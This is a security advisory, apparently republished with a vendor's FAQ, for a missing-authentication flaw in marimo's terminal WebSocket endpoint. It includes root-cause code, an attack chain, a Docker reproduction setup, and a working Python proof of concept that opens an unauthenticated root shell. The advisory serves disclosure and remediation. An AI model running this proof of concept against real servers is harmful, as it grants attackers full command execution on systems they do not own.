CVE-2026-39987

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()  # Accepts connection directly
    # ...
    child_pid, fd = pty.fork()  # Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
2. websocket.accept() accepts the connection directly
3. pty.fork() creates a PTY child process
4. Full interactive shell with arbitrary command execution
5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
3. Terminal functionality should only be available when explicitly enabled, not on by default

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-39987 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-39987? CVE-2026-39987 is a critical-severity missing authentication for critical function vulnerability in marimo (pip), affecting versions < 0.23.0. It is fixed in 0.23.0. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-39987? CVE-2026-39987 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of marimo are affected by CVE-2026-39987? marimo (pip) versions < 0.23.0 is affected.
4. Is there a fix for CVE-2026-39987? Yes. CVE-2026-39987 is fixed in 0.23.0. Upgrade to this version or later.
5. Is CVE-2026-39987 exploitable, and should I be worried? Whether CVE-2026-39987 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39987 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39987? Upgrade marimo to 0.23.0 or later.